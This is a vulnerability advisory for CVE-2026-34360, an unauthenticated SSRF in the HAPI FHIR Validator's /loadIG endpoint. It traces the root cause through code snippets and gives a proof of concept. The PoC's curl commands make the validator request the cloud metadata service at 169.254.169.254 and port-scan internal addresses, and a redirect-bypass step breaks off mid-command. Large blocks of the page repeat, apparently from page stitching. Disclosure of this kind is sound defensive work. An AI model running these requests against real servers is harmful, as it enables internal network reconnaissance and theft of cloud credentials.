CVE-2026-34360

HAPI FHIR is a complete implementation of the HL7 FHIR standard for healthcare interoperability in Java. Prior to version 6.9.4, the /loadIG HTTP endpoint in the FHIR Validator HTTP service accepts a user-supplied URL via JSON body and makes server-side HTTP requests to it without any hostname, scheme, or domain validation. An unauthenticated attacker with network access to the validator can probe internal network services, cloud metadata endpoints, and map network topology through error-based information leakage. With explore=true (the default for this code path), each request triggers multiple outbound HTTP calls, amplifying reconnaissance capability. This issue has been patched in version 6.9.4.

HAPI FHIR is a complete implementation of the HL7 FHIR standard for healthcare interoperability in Java. Prior to version 6.9.4, the /loadIG HTTP endpoint in the FHIR Validator HTTP service accepts a user-supplied URL via JSON body and makes server-side HTTP requests to it without any hostname, scheme, or domain validation. An unauthenticated attacker with network access to the validator can probe internal network services, cloud metadata endpoints, and map network topology through error-based information leakage. With explore=true (the default for this code path), each request triggers multiple outbound HTTP calls, amplifying reconnaissance capability. This issue has been patched in version 6.9.4.

Summary

The /loadIG HTTP endpoint in the FHIR Validator HTTP service accepts a user-supplied URL via JSON body and makes server-side HTTP requests to it without any hostname, scheme, or domain validation. An unauthenticated attacker with network access to the validator can probe internal network services, cloud metadata endpoints, and map network topology through error-based information leakage. With explore=true (the default for this code path), each request triggers multiple outbound HTTP calls, amplifying reconnaissance capability.

Details

Root cause chain:

1. LoadIGHTTPHandler.handle() reads the ig field from user-supplied JSON and passes it directly to IgLoader.loadIg() with no validation:

// LoadIGHTTPHandler.java:35,43
String ig = wrapper.asString("ig");
engine.getIgLoader().loadIg(engine.getIgs(), engine.getBinaries(), ig, false);

2. loadIg() calls loadIgSource(srcPackage, recursive, true) with explore=true (IgLoader.java:153).

3. loadIgSource() checks Common.isNetworkPath(src) which only verifies the URL starts with http: or https: — no host/IP validation (Common.java:14-16).

4. The URL reaches ManagedWebAccess.get() which calls inAllowedPaths(). This check is a no-op by default because allowedDomains is initialized as an empty list, and the code explicitly returns true when empty:

// ManagedWebAccess.java:104-106
static boolean inAllowedPaths(String pathname) {
    if (allowedDomains.isEmpty()) {
        return true;  // DEFAULT: all domains allowed
    }
    // ...
}

The source code has a //TODO get this from fhir settings comment (line 82) confirming this is an incomplete security control.

5. SimpleHTTPClient.get() makes the HTTP request and follows 301/302/307/308 redirects up to 5 times. Redirect targets are NOT re-validated against inAllowedPaths():

// SimpleHTTPClient.java:88-99
case HttpURLConnection.HTTP_MOVED_PERM,
     HttpURLConnection.HTTP_MOVED_TEMP,
     307, 308:
    String location = connection.getHeaderField("Location");
    url = new URL(originalUrl, location);  // No domain re-validation
    continue;

6. The server binds to all interfaces with no authentication (FhirValidatorHttpService.java:31):

server = HttpServer.create(new InetSocketAddress(port), 0);

7. Errors propagate back to the attacker with exception details:

// LoadIGHTTPHandler.java:49
sendOperationOutcome(exchange, 500,
    OperationOutcomeUtilities.createError("Failed to load IG: " + e.getMessage()), ...);

Redirect bypass: Even if allowedDomains were configured, the domain check in ManagedWebAccessor.setupSimpleHTTPClient() (line 31) only validates the initial URL. An attacker can host a redirect on an allowed domain that points to an internal target.

PoC

1. Start the FHIR Validator in HTTP server mode:

java -jar validator_cli.jar -server -port 8080

2. Probe a cloud metadata endpoint:

curl -X POST http://<validator-host>:8080/loadIG \
  -H "Content-Type: application/json" \
  -d '{"ig": "http://169.254.169.254/latest/meta-data/"}'

Expected: The validator makes a GET request to the AWS metadata service from its own network position. The error response reveals whether the endpoint is reachable (e.g., connection refused vs. parse error on HTML content).

3. Port scan an internal host:

# Open port — returns quickly with a parse error (content received but not valid FHIR)
curl -X POST http://<validator-host>:8080/loadIG \
  -H "Content-Type: application/json" \
  -d '{"ig": "http://10.0.0.1:8080/"}'

# Closed port — returns with "Connection refused"
curl -X POST http://<validator-host>:8080/loadIG \
  -H "Content-Type: application/json" \
  -d '{"ig": "http://10.0.0.1:9999/"}'

4. Redirect bypass (if allowedDomains were configured):

# Attacker hosts redirect: http://allowed-domain.com/redir → http://127.0.0.1:8080/admin
curl -X POST…

HAPI FHIR is a complete implementation of the HL7 FHIR standard for healthcare interoperability in Java. Prior to version 6.9.4, the /loadIG HTTP endpoint in the FHIR Validator HTTP service accepts a user-supplied URL via JSON body and makes server-side HTTP requests to it without any hostname, scheme, or domain validation. An unauthenticated attacker with network access to the validator can probe internal network services, cloud metadata endpoints, and map network topology through error-based information leakage. With explore=true (the default for this code path), each request triggers multiple outbound HTTP calls, amplifying reconnaissance capability. This issue has been patched in version 6.9.4.

HAPI FHIR is a complete implementation of the HL7 FHIR standard for healthcare interoperability in Java. Prior to version 6.9.4, the /loadIG HTTP endpoint in the FHIR Validator HTTP service accepts a user-supplied URL via JSON body and makes server-side HTTP requests to it without any hostname, scheme, or domain validation. An unauthenticated attacker with network access to the validator can probe internal network services, cloud metadata endpoints, and map network topology through error-based information leakage. With explore=true (the default for this code path), each request triggers multiple outbound HTTP calls, amplifying reconnaissance capability. This issue has been patched in version 6.9.4.

Summary

The /loadIG HTTP endpoint in the FHIR Validator HTTP service accepts a user-supplied URL via JSON body and makes server-side HTTP requests to it without any hostname, scheme, or domain validation. An unauthenticated attacker with network access to the validator can probe internal network services, cloud metadata endpoints, and map network topology through error-based information leakage. With explore=true (the default for this code path), each request triggers multiple outbound HTTP calls, amplifying reconnaissance capability.

Details

Root cause chain:

1. LoadIGHTTPHandler.handle() reads the ig field from user-supplied JSON and passes it directly to IgLoader.loadIg() with no validation:

// LoadIGHTTPHandler.java:35,43
String ig = wrapper.asString("ig");
engine.getIgLoader().loadIg(engine.getIgs(), engine.getBinaries(), ig, false);

2. loadIg() calls loadIgSource(srcPackage, recursive, true) with explore=true (IgLoader.java:153).

3. loadIgSource() checks Common.isNetworkPath(src) which only verifies the URL starts with http: or https: — no host/IP validation (Common.java:14-16).

4. The URL reaches ManagedWebAccess.get() which calls inAllowedPaths(). This check is a no-op by default because allowedDomains is initialized as an empty list, and the code explicitly returns true when empty:

// ManagedWebAccess.java:104-106
static boolean inAllowedPaths(String pathname) {
    if (allowedDomains.isEmpty()) {
        return true;  // DEFAULT: all domains allowed
    }
    // ...
}

The source code has a //TODO get this from fhir settings comment (line 82) confirming this is an incomplete security control.

5. SimpleHTTPClient.get() makes the HTTP request and follows 301/302/307/308 redirects up to 5 times. Redirect targets are NOT re-validated against inAllowedPaths():

// SimpleHTTPClient.java:88-99
case HttpURLConnection.HTTP_MOVED_PERM,
     HttpURLConnection.HTTP_MOVED_TEMP,
     307, 308:
    String location = connection.getHeaderField("Location");
    url = new URL(originalUrl, location);  // No domain re-validation
    continue;

6. The server binds to all interfaces with no authentication (FhirValidatorHttpService.java:31):

server = HttpServer.create(new InetSocketAddress(port), 0);

7. Errors propagate back to the attacker with exception details:

// LoadIGHTTPHandler.java:49
sendOperationOutcome(exchange, 500,
    OperationOutcomeUtilities.createError("Failed to load IG: " + e.getMessage()), ...);

Redirect bypass: Even if allowedDomains were configured, the domain check in ManagedWebAccessor.setupSimpleHTTPClient() (line 31) only validates the initial URL. An attacker can host a redirect on an allowed domain that points to an internal target.

PoC

1. Start the FHIR Validator in HTTP server mode:

java -jar validator_cli.jar -server -port 8080

2. Probe a cloud metadata endpoint:

curl -X POST http://<validator-host>:8080/loadIG \
  -H "Content-Type: application/json" \
  -d '{"ig": "http://169.254.169.254/latest/meta-data/"}'

Expected: The validator makes a GET request to the AWS metadata service from its own network position. The error response reveals whether the endpoint is reachable (e.g., connection refused vs. parse error on HTML content).

3. Port scan an internal host:

# Open port — returns quickly with a parse error (content received but not valid FHIR)
curl -X POST http://<validator-host>:8080/loadIG \
  -H "Content-Type: application/json" \
  -d '{"ig": "http://10.0.0.1:8080/"}'

# Closed port — returns with "Connection refused"
curl -X POST http://<validator-host>:8080/loadIG \
  -H "Content-Type: application/json" \
  -d '{"ig": "http://10.0.0.1:9999/"}'

4. Redirect bypass (if allowedDomains were configured):

# Attacker hosts redirect: http://allowed-domain.com/redir → http://127.0.0.1:8080/admin
curl -X POST…

Root has patched CVE-2026-34360 in the ca.uhn.hapi.fhir:org.hl7.fhir.core package for Root:Maven. Multiple fixed versions available.